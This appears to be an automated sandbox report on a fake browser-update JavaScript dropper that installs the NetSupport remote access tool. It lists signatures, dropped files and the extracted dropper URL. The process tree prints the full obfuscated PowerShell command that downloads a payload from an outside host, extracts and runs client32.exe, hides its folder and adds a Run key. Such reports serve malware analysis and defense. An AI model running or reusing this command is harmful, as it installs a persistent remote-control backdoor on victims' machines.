Analysis
- max time kernel
143s - max time network
133s - platform
windows10-2004_x64 - resource
win10v2004-20231215-en - resource tags
- submitted
09/01/2024, 18:17
General
- Target Update_browser_17.6436.js
- Size 296KB
- Sample240109-wxfapsfbgn
- SHA256 8346d8f6adf67626c8210a95a4f2723a66014dceff0b3a2ab5ac0b3bc3524f48
Malware Config
Extracted
-
ps1
-
ps1.dropper
https://boxtechcompany.com/data.php?13931
-
exe.dropper
https://boxtechcompany.com/data.php?13931
Signatures
- NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
- Blocklisted process makes network request 2 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 6 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\Update_browser_17.6436.js1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $nxcZbDOZAjBWgIRsYjvmhmdVKLiwGsp='https://boxtechcompany.com/data.php?13931';$PczpJtAdg=(New-Object System.Net.WebClient).DownloadString($nxcZbDOZAjBWgIRsYjvmhmdVKLiwGsp);$bsnBTdYhvIYeOtjPUEfs=[System.Convert]::FromBase64String($PczpJtAdg);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $EnjFiXIMZiUhDNljcs=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $EnjFiXIMZiUhDNljcs -PathType Container)) { New-Item -Path $EnjFiXIMZiUhDNljcs -ItemType Directory };$p=Join-Path $EnjFiXIMZiUhDNljcs 'vib.zip';[System.IO.File]::WriteAllBytes($p,$bsnBTdYhvIYeOtjPUEfs);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$EnjFiXIMZiUhDNljcs)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $EnjFiXIMZiUhDNljcs 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $EnjFiXIMZiUhDNljcs -Force; $FSDFSSD.attributes='Hidden';$s=$EnjFiXIMZiUhDNljcs+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;2⤵
- Blocklisted process makes network request
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\DIVX841\client32.exe"C:\Users\Admin\AppData\Roaming\DIVX841\client32.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_k0nouzzx.sty.ps1
HTCTL32.DLL
NSM.LIC
PCICHEK.DLL
PCICL32.DLL
PCICL32.dll
client32.exe
client32.ini
msvcr100.dll
pcicapi.dll
memory/868-18-0x0000027FF3400000-0x0000027FF3412000-memory.dmp
memory/868-17-0x0000027FF0E00000-0x0000027FF0E0A000-memory.dmp
memory/868-15-0x0000027FF0770000-0x0000027FF0780000-memory.dmp
memory/868-14-0x0000027FF0770000-0x0000027FF0780000-memory.dmp
memory/868-13-0x00007FFC86720000-0x00007FFC871E1000-memory.dmp
memory/868-0-0x0000027FF0C10000-0x0000027FF0C32000-memory.dmp
memory/868-11-0x0000027FF0770000-0x0000027FF0780000-memory.dmp
memory/868-12-0x0000027FF0770000-0x0000027FF0780000-memory.dmp
memory/868-10-0x00007FFC86720000-0x00007FFC871E1000-memory.dmp
memory/868-87-0x00007FFC86720000-0x00007FFC871E1000-memory.dmp